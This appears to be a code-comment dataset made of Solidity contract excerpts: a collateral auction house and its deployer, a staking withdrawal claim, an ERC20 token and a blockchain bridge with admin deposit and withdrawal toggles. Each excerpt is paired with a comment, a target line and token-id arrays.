* @param customDiscount The custom discount used to calculate the collateral price offered
*/
function getDiscountedCollateralPrice(
uint256 collateralFsmPriceFeedValue,
uint256 collateralMedianPriceFeedValue,
uint256 systemCoinPriceFeedValue,
uint256 customDiscount
) public view returns (uint256) {
// calculate the collateral price in relation to the latest system coin price and apply the discount
return wmultiply(
rdivide(getFinalBaseCollateralPrice(collateralFsmPriceFeedValue, collateralMedianPriceFeedValue), systemCoinPriceFeedValue),
customDiscount
);
}
/*
* @notice Get the upcoming discount that will be used in a specific auction
* @param id The ID of the auction to calculate the upcoming discount for
* @returns The upcoming discount that will be used in the targeted auction
*/
function getNextCurrentDiscount(uint256 id) public view returns (uint256) {
if (bids[id].forgoneCollateralReceiver == address(0)) return RAY;
uint256 nextDiscount = bids[id].currentDiscount;
// If the increase deadline hasn't been passed yet and the current discount is not at or greater than max
if (both(uint48(now) < bids[id].discountIncreaseDeadline, bids[id].currentDiscount > bids[id].maxDiscount)) {
// Calculate the new current discount
nextDiscount = rmultiply(
rpower(bids[id].perSecondDiscountUpdateRate, subtract(now, bids[id].latestDiscountUpdateTime), RAY),
bids[id].currentDiscount
);
// If the new discount is greater than the max one
if (nextDiscount <= bids[id].maxDiscount) {
nextDiscount = bids[id].maxDiscount;
}
} else {
// Determine the conditions when we can instantly set the current discount to max
bool currentZeroMaxNonZero = both(bids[id].currentDiscount == 0, bids[id].maxDiscount > 0);
bool doneUpdating = both(uint48(now) >= bids[id].discountIncreaseDeadline, bids[id].currentDiscount != bids[id].maxDiscount);
if (either(currentZeroMaxNonZero, doneUpdating)) {
nextDiscount = bids[id].maxDiscount;
}
}
return nextDiscount;
}
/*
* @notice Get the actual bid that will be used in an auction (taking into account the bidder input)
* @param id The id of the auction to calculate the adjusted bid for
* @param wad The initial bid submitted
* @returns Whether the bid is valid or not and the adjusted bid
*/
function getAdjustedBid(
uint256 id, uint256 wad
) public view returns (bool, uint256) {
if (either(
either(bids[id].amountToSell == 0, bids[id].amountToRaise == 0),
either(wad == 0, wad < minimumBid)
)) {
return (false, wad);
}
uint256 remainingToRaise = bids[id].amountToRaise;
// bound max amount offered in exchange for collateral
uint256 adjustedBid = wad;
if (multiply(adjustedBid, RAY) > remainingToRaise) {
adjustedBid = addUint256(remainingToRaise / RAY, 1);
}
remainingToRaise = (multiply(adjustedBid, RAY) > remainingToRaise) ? 0 : subtract(bids[id].amountToRaise, multiply(adjustedBid, RAY));
if (both(remainingToRaise > 0, remainingToRaise < RAY)) {
return (false, adjustedBid);
}
return (true, adjustedBid);
}
// --- Core Auction Logic ---
/**
* @notice Start a new collateral auction
* @param forgoneCollateralReceiver Who receives leftover collateral that is not auctioned
* @param auctionIncomeRecipient Who receives the amount raised in the auction
* @param amountToRaise Total amount of coins to raise (rad)
* @param amountToSell Total amount of collateral available to sell (wad)
* @param initialBid Unused
*/
function startAuction(
address forgoneCollateralReceiver,
address auctionIncomeRecipient,
uint256 amountToRaise,
uint256 amountToSell,
uint256 initialBid
) public isAuthorized returns (uint256 id) {
require(auctionsStarted < uint256(-1), "IncreasingDiscountCollateralAuctionHouse/overflow");
require(amountToSell > 0, "IncreasingDiscountCollateralAuctionHouse/no-collateral-for-sale");
require(amountToRaise > 0, "IncreasingDiscountCollateralAuctionHouse/nothing-to-raise");
require(amountToRaise >= RAY, "IncreasingDiscountCollateralAuctionHouse/dusty-auction");
id = ++auctionsStarted;
uint48 discountIncreaseDeadline = addUint48(uint48(now), uint48(maxDiscountUpdateRateTimeline));
bids[id].currentDiscount = minDiscount;
bids[id].maxDiscount = maxDiscount;
bids[id].perSecondDiscountUpdateRate = perSecondDiscountUpdateRate;
bids[id].discountIncreaseDeadline = discountIncreaseDeadline;
bids[id].latestDiscountUpdateTime = now;
bids[id].amountToSell = amountToSell;
bids[id].forgoneCollateralReceiver = forgoneCollateralReceiver;
bids[id].auctionIncomeRecipient = auctionIncomeRecipient;
bids[id].amountToRaise = amountToRaise;
safeEngine.transferCollateral(collateralType, msg.sender, address(this), amountToSell);
emit StartAuction(
id,
auctionsStarted,
amountToSell,
initialBid,
amountToRaise,
minDiscount,
maxDiscount,
perSecondDiscountUpdateRate,
discountIncreaseDeadline,
forgoneCollateralReceiver,
auctionIncomeRecipient
);
}
/**
* @notice Calculate how much collateral someone would buy from an auction using the last read redemption price and the old current
* discount associated with the auction
* @param id ID of the auction to buy collateral from
* @param wad New bid submitted
*/
function getApproximateCollateralBought(uint256 id, uint256 wad) external view returns (uint256, uint256) {
if (lastReadRedemptionPrice == 0) return (0, wad);
(bool validAuctionAndBid, uint256 adjustedBid) = getAdjustedBid(id, wad);
if (!validAuctionAndBid) {
return (0, adjustedBid);
}
// check that the oracle doesn't return an invalid value
(uint256 collateralFsmPriceFeedValue, uint256 systemCoinPriceFeedValue) = getCollateralFSMAndFinalSystemCoinPrices(lastReadRedemptionPrice);
if (collateralFsmPriceFeedValue == 0) {
return (0, adjustedBid);
}
return (getBoughtCollateral(
id,
collateralFsmPriceFeedValue,
getCollateralMedianPrice(),
systemCoinPriceFeedValue,
adjustedBid,
bids[id].currentDiscount
), adjustedBid);
}
/**
* @notice Calculate how much collateral someone would buy from an auction using the latest redemption price fetched from the
* OracleRelayer and the latest updated discount associated with the auction
* @param id ID of the auction to buy collateral from
* @param wad New bid submitted
*/
function getCollateralBought(uint256 id, uint256 wad) external returns (uint256, uint256) {
(bool validAuctionAndBid, uint256 adjustedBid) = getAdjustedBid(id, wad);
if (!validAuctionAndBid) {
return (0, adjustedBid);
}
// Read the redemption price
lastReadRedemptionPrice = oracleRelayer.redemptionPrice();
// check that the oracle doesn't return an invalid value
(uint256 collateralFsmPriceFeedValue, uint256 systemCoinPriceFeedValue) = getCollateralFSMAndFinalSystemCoinPrices(lastReadRedemptionPrice);
if (collateralFsmPriceFeedValue == 0) {
return (0, adjustedBid);
}
return (getBoughtCollateral(
id,
collateralFsmPriceFeedValue,
getCollateralMedianPrice(),
systemCoinPriceFeedValue,
adjustedBid,
updateCurrentDiscount(id)
), adjustedBid);
}
/**
* @notice Buy collateral from an auction at an increasing discount
* @param id ID of the auction to buy collateral from
* @param wad New bid submitted (as a WAD which has 18 decimals)
*/
function buyCollateral(uint256 id, uint256 wad) external {
require(both(bids[id].amountToSell > 0, bids[id].amountToRaise > 0), "IncreasingDiscountCollateralAuctionHouse/inexistent-auction");
require(both(wad > 0, wad >= minimumBid), "IncreasingDiscountCollateralAuctionHouse/invalid-bid");
// bound max amount offered in exchange for collateral (in case someone offers more than it's necessary)
uint256 adjustedBid = wad;
if (multiply(adjustedBid, RAY) > bids[id].amountToRaise) {
adjustedBid = addUint256(bids[id].amountToRaise / RAY, 1);
}
// Read the redemption price
lastReadRedemptionPrice = oracleRelayer.redemptionPrice();
// check that the collateral FSM doesn't return an invalid value
(uint256 collateralFsmPriceFeedValue, uint256 systemCoinPriceFeedValue) = getCollateralFSMAndFinalSystemCoinPrices(lastReadRedemptionPrice);
require(collateralFsmPriceFeedValue > 0, "IncreasingDiscountCollateralAuctionHouse/collateral-fsm-invalid-value");
// get the amount of collateral bought
uint256 boughtCollateral = getBoughtCollateral(
id, collateralFsmPriceFeedValue, getCollateralMedianPrice(), systemCoinPriceFeedValue, adjustedBid, updateCurrentDiscount(id)
);
// check that the calculated amount is greater than zero
require(boughtCollateral > 0, "IncreasingDiscountCollateralAuctionHouse/null-bought-amount");
// update the amount of collateral to sell
bids[id].amountToSell = subtract(bids[id].amountToSell, boughtCollateral);
// update remainingToRaise in case amountToSell is zero (everything has been sold)
uint256 remainingToRaise = (either(multiply(wad, RAY) >= bids[id].amountToRaise, bids[id].amountToSell == 0)) ?
bids[id].amountToRaise : subtract(bids[id].amountToRaise, multiply(wad, RAY));
// update leftover amount to raise in the bid struct
bids[id].amountToRaise = (multiply(adjustedBid, RAY) > bids[id].amountToRaise) ?
0 : subtract(bids[id].amountToRaise, multiply(adjustedBid, RAY));
// check that the remaining amount to raise is either zero or higher than RAY
require(
either(bids[id].amountToRaise == 0, bids[id].amountToRaise >= RAY),
"IncreasingDiscountCollateralAuctionHouse/invalid-left-to-raise"
);
// transfer the bid to the income recipient and the collateral to the bidder
safeEngine.transferInternalCoins(msg.sender, bids[id].auctionIncomeRecipient, multiply(adjustedBid, RAY));
safeEngine.transferCollateral(collateralType, address(this), msg.sender, boughtCollateral);
// Emit the buy event
emit BuyCollateral(id, adjustedBid, boughtCollateral);
// Remove coins from the liquidation buffer
bool soldAll = either(bids[id].amountToRaise == 0, bids[id].amountToSell == 0);
if (soldAll) {
liquidationEngine.removeCoinsFromAuction(remainingToRaise);
} else {
liquidationEngine.removeCoinsFromAuction(multiply(adjustedBid, RAY));
}
// If the auction raised the whole amount or all collateral was sold,
// send remaining collateral to the forgone receiver
if (soldAll) {
safeEngine.transferCollateral(collateralType, address(this), bids[id].forgoneCollateralReceiver, bids[id].amountToSell);
delete bids[id];
emit SettleAuction(id, bids[id].amountToSell);
}
}
/**
* @notice Settle/finish an auction
* @param id ID of the auction to settle
*/
function settleAuction(uint256 id) external {
return;
}
/**
* @notice Terminate an auction prematurely. Usually called by Global Settlement.
* @param id ID of the auction to settle
*/
function terminateAuctionPrematurely(uint256 id) external isAuthorized {
require(both(bids[id].amountToSell > 0, bids[id].amountToRaise > 0), "IncreasingDiscountCollateralAuctionHouse/inexistent-auction");
liquidationEngine.removeCoinsFromAuction(bids[id].amountToRaise);
safeEngine.transferCollateral(collateralType, address(this), msg.sender, bids[id].amountToSell);
delete bids[id];
emit TerminateAuctionPrematurely(id, msg.sender, bids[id].amountToSell);
}
// --- Getters ---
function bidAmount(uint256 id) public view returns (uint256) {
return 0;
}
function remainingAmountToSell(uint256 id) public view returns (uint256) {
return bids[id].amountToSell;
}
function forgoneCollateralReceiver(uint256 id) public view returns (address) {
return bids[id].forgoneCollateralReceiver;
}
function raisedAmount(uint256 id) public view returns (uint256) {
return 0;
}
function amountToRaise(uint256 id) public view returns (uint256) {
return bids[id].amountToRaise;
}
}
contract DeployIncreasingDiscountCollateralHouse {
function execute(address safeEngine, LiquidationEngineLike liquidationEngine, bytes32 collateralType, address globalSettlement) public returns (address) {
// get old collateral house
(IncreasingDiscountCollateralAuctionHouse oldCollateralAuctionHouse,,) = liquidationEngine.collateralTypes(collateralType);
// deploy new auction house
IncreasingDiscountCollateralAuctionHouse auctionHouse =
new IncreasingDiscountCollateralAuctionHouse(safeEngine, address(liquidationEngine), collateralType);
// set the new collateral auction house in liquidation engine
liquidationEngine.modifyParameters(collateralType, "collateralAuctionHouse", address(auctionHouse));
// Approve the auction house in order to reduce the currentOnAuctionSystemCoins
liquidationEngine.addAuthorization(address(auctionHouse));
// Remove the old auction house
liquidationEngine.removeAuthorization(address(oldCollateralAuctionHouse));
// Internal auth
auctionHouse.addAuthorization(address(liquidationEngine));
auctionHouse.addAuthorization(globalSettlement);
// Params
auctionHouse.modifyParameters("oracleRelayer", address(oldCollateralAuctionHouse.oracleRelayer()));
auctionHouse.modifyParameters("collateralFSM", address(oldCollateralAuctionHouse.collateralFSM()));
auctionHouse.modifyParameters("systemCoinOracle", address(oldCollateralAuctionHouse.systemCoinOracle()));
auctionHouse.modifyParameters("maxDiscount", 0.88E18);
auctionHouse.modifyParameters("minDiscount", 0.92E18);
auctionHouse.modifyParameters("perSecondDiscountUpdateRate", 999983536519757434476050304);
auctionHouse.modifyParameters("maxDiscountUpdateRateTimeline", 2700);
auctionHouse.modifyParameters("lowerCollateralMedianDeviation", 0.80E18);
auctionHouse.modifyParameters("lowerSystemCoinMedianDeviation", 1 ether);
auctionHouse.modifyParameters("upperCollateralMedianDeviation", 0.80E18);
auctionHouse.modifyParameters("upperSystemCoinMedianDeviation", 1 ether);
auctionHouse.modifyParameters("minSystemCoinMedianDeviation", 0.96E18);
auctionHouse.modifyParameters("minimumBid", 25 ether);
return address(auctionHouse);
}
}
|
check that the calculated amount is greater than zero
|
require(boughtCollateral > 0, "IncreasingDiscountCollateralAuctionHouse/null-bought-amount");
| 2,018,388 |
[
1,
1893,
716,
326,
8894,
3844,
353,
6802,
2353,
3634,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
2583,
12,
1075,
9540,
13535,
2045,
287,
405,
374,
16,
315,
27597,
11730,
9866,
13535,
2045,
287,
37,
4062,
44,
3793,
19,
2011,
17,
1075,
9540,
17,
8949,
8863,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x2a9fD373Ed3Ce392bb5ad8Ee146CFAB66c9fAEae/sources/contracts/main/TruStakeMATICv2.sol
|
@notice Handles withdraw claims internally according to unbond nonces (once unbonding period has passed). @param _unbondNonce the ticket the user got when initiating the withdrawal, unbonding period.
|
function _withdrawClaim(uint256 _unbondNonce) private {
Withdrawal storage withdrawal = unbondingWithdrawals[_unbondNonce];
if (withdrawal.user != msg.sender) {
revert SenderMustHaveInitiatedWithdrawalRequest();
}
emit WithdrawalClaimed(msg.sender, _unbondNonce, withdrawal.amount);
delete unbondingWithdrawals[_unbondNonce];
}
| 8,326,226 |
[
1,
8788,
598,
9446,
11955,
12963,
4888,
358,
640,
26425,
1661,
764,
261,
8243,
640,
26425,
310,
3879,
711,
2275,
2934,
225,
389,
318,
26425,
13611,
326,
9322,
326,
729,
2363,
1347,
1208,
22906,
326,
598,
9446,
287,
16,
640,
26425,
310,
3879,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
1918,
9446,
9762,
12,
11890,
5034,
389,
318,
26425,
13611,
13,
3238,
288,
203,
3639,
3423,
9446,
287,
2502,
598,
9446,
287,
273,
640,
26425,
310,
1190,
9446,
1031,
63,
67,
318,
26425,
13611,
15533,
203,
203,
3639,
309,
261,
1918,
9446,
287,
18,
1355,
480,
1234,
18,
15330,
13,
288,
203,
5411,
15226,
15044,
10136,
17944,
2570,
10206,
1190,
9446,
287,
691,
5621,
203,
3639,
289,
203,
203,
203,
203,
3639,
3626,
3423,
9446,
287,
9762,
329,
12,
3576,
18,
15330,
16,
389,
318,
26425,
13611,
16,
598,
9446,
287,
18,
8949,
1769,
203,
203,
3639,
1430,
640,
26425,
310,
1190,
9446,
1031,
63,
67,
318,
26425,
13611,
15533,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/42220/0x123ED050805E0998EBEf43671327139224218e50/sources/home/apleio/NetM_Contracts/CELO/celo-truffle-netm/contracts/NetMToken.sol
|
---------------------------------------------------------------------------- ERC20 Token, with the addition of symbol, name and decimals and a fixed supply ---------------------------------------------------------------------------- ------------------------------------------------------------------------ Constructor ------------------------------------------------------------------------
|
contract NetMToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "NTMX";
name = "NetM Token";
decimals = 18;
_totalSupply = 200000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function () external payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
| 16,320,766 |
[
1,
5802,
7620,
4232,
39,
3462,
3155,
16,
598,
326,
2719,
434,
3273,
16,
508,
471,
15105,
471,
279,
5499,
14467,
8879,
13849,
8879,
17082,
11417,
8879,
17082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
8503,
49,
1345,
353,
4232,
39,
3462,
1358,
16,
14223,
11748,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
31,
203,
203,
565,
533,
1071,
3273,
31,
203,
565,
533,
1071,
225,
508,
31,
203,
565,
2254,
28,
1071,
15105,
31,
203,
565,
2254,
389,
4963,
3088,
1283,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
13,
324,
26488,
31,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
3719,
2935,
31,
203,
203,
203,
565,
3885,
1435,
1071,
288,
203,
3639,
3273,
273,
315,
1784,
13874,
14432,
203,
3639,
508,
273,
315,
7308,
49,
3155,
14432,
203,
3639,
15105,
273,
6549,
31,
203,
3639,
389,
4963,
3088,
1283,
273,
576,
12648,
380,
1728,
636,
11890,
12,
31734,
1769,
203,
3639,
324,
26488,
63,
8443,
65,
273,
389,
4963,
3088,
1283,
31,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
3410,
16,
389,
4963,
3088,
1283,
1769,
203,
565,
289,
203,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
1071,
1476,
1135,
261,
11890,
13,
288,
203,
3639,
327,
389,
4963,
3088,
1283,
18,
1717,
12,
70,
26488,
63,
2867,
12,
20,
13,
19226,
203,
565,
289,
203,
203,
203,
565,
445,
11013,
951,
12,
2867,
1147,
5541,
13,
1071,
1476,
1135,
261,
11890,
11013,
13,
288,
203,
3639,
327,
324,
26488,
63,
2316,
5541,
15533,
203,
565,
289,
203,
203,
203,
565,
445,
7412,
12,
2867,
358,
16,
2254,
2430,
13,
1071,
1135,
261,
6430,
2216,
13,
288,
203,
3639,
324,
26488,
63,
3576,
18,
15330,
65,
273,
2
] |
pragma solidity ^0.4.24;
import "./libs/SafeMathLib.sol";
import "./interfaces/IBlockchainBridge.sol";
import "./HasConfig.sol";
/**
* @dev BlockchainBridge abstract contract implementing IBlockchainBridge interface protocol used by users and system admin to Deposit and Withdrawal funds to and from blockchain.
*/
contract BlockchainBridge is IBlockchainBridge, HasConfig {
using SafeMathLib for uint;
// toggle to control deposits
bool public depositsEnabled;
// toggle to control withdrawals
bool public withdrawalsEnabled;
// minimum withdrawal amount
uint public minWithdrawalAmount;
// maximum withdrawal amount, 0 means disabled
uint public maxWithdrawalAmount;
event MinWithdrawalAmountChanged(address indexed _admin, uint _minWithdrawalAmount, uint _newMinWithdrawalAmount);
event MaxWithdrawalAmountChanged(address indexed _admin, uint _maxWithdrawalAmount, uint _newMaxWithdrawalAmount);
/**
* @dev Constructor
*/
constructor() internal
{
depositsEnabled = true;
withdrawalsEnabled = true;
//50 usd or equivalent is default withdraw amount
minWithdrawalAmount = 5000;
maxWithdrawalAmount = 0; //disabled
}
modifier whenDepositsEnabled {
require(depositsEnabled == true, "Deposits must be enabled!");
_;
}
modifier whenWithdrawalsEnabled {
require(withdrawalsEnabled == true, "Withdrawals must be enabled!");
_;
}
/**
* @dev Enable/Disable deposits, executed only by admin.
* @return bool
*/
function enableDeposits(bool enable) public onlyAdmin returns (bool) {
if (depositsEnabled != enable) {
depositsEnabled = enable;
if (enable)
emit DepositsEnabled(msg.sender);
else emit DepositsDisabled(msg.sender);
return true;
}
return false;
}
///**
// * @dev Enable deposits if they are disabled, executed only by admin.
// * @return bool
// */
//function enableDeposits() public onlyAdmin returns (bool) {
// if (!depositsEnabled) {
// depositsEnabled = true;
// //emit DepositsEnabled(msg.sender);
// return true;
// }
// return false;
//}
///**
// * @dev Disable deposits if they are enabled, executed only by admin.
// * @return bool
// */
//function disableDeposits() public onlyAdmin returns (bool) {
// if (depositsEnabled) {
// depositsEnabled = false;
// //emit DepositsDisabled(msg.sender);
// return true;
// }
// return false;
//}
/**
* @dev Enable/Disable withdrawals, executed only by admin.
* @return bool
*/
function enableWithdrawals(bool enable) public onlyAdmin returns (bool) {
if (withdrawalsEnabled != enable) {
withdrawalsEnabled = enable;
if (enable)
emit WithdrawalsEnabled(msg.sender);
else emit WithdrawalsDisabled(msg.sender);
return true;
}
return false;
}
///**
// * @dev Enable withdrawals if they are disabled, executed only by admin.
// * @return bool
// */
//function enableWithdrawals() public onlyAdmin returns (bool) {
// if (!withdrawalsEnabled) {
// withdrawalsEnabled = true;
// //emit WithdrawalsEnabled(msg.sender);
// return true;
// }
// return false;
//}
///**
// * @dev Disable withdrawals if they are enabled, executed only by admin.
// * @return bool
// */
//function disableWithdrawals() public onlyAdmin returns (bool) {
// if (withdrawalsEnabled) {
// withdrawalsEnabled = false;
// //emit WithdrawalsDisabled(msg.sender);
// return true;
// }
// return false;
//}
/**
* @dev Set/change minimum withdrawal amount, only admin can do it.
* @return bool
*/
function setMinWithdrawalAmount(uint _minAmount) public onlyAdmin returns (bool) {
if (_minAmount != minWithdrawalAmount) { //, "Min withdrawal different value required!");
emit MinWithdrawalAmountChanged(msg.sender, minWithdrawalAmount, _minAmount);
minWithdrawalAmount = _minAmount;
return true;
}
return false;
}
/**
* @dev Set/change maximum withdrawal amount, only admin can do it.
* @return bool
*/
function setMaxWithdrawalAmount(uint _maxAmount) public onlyAdmin returns (bool) {
if (_maxAmount != maxWithdrawalAmount) { //, "Max withdrawal different value required!");
emit MaxWithdrawalAmountChanged(msg.sender, maxWithdrawalAmount, _maxAmount);
maxWithdrawalAmount = _maxAmount;
return true;
}
return false;
}
//---
// function executed by admin to credit user wallet with fiat currency he deposited via bank wire or any other method.
//---
function depositAccept(address /*_to*/, uint /*_amount*/) public returns (bool) {
return false;
}
//---
// function executed by user asking for a withdrawal
//---
function withdrawRequest(uint /*_amount*/) public returns (bool) {
return false;
}
}
|
--- function executed by user asking for a withdrawal---
|
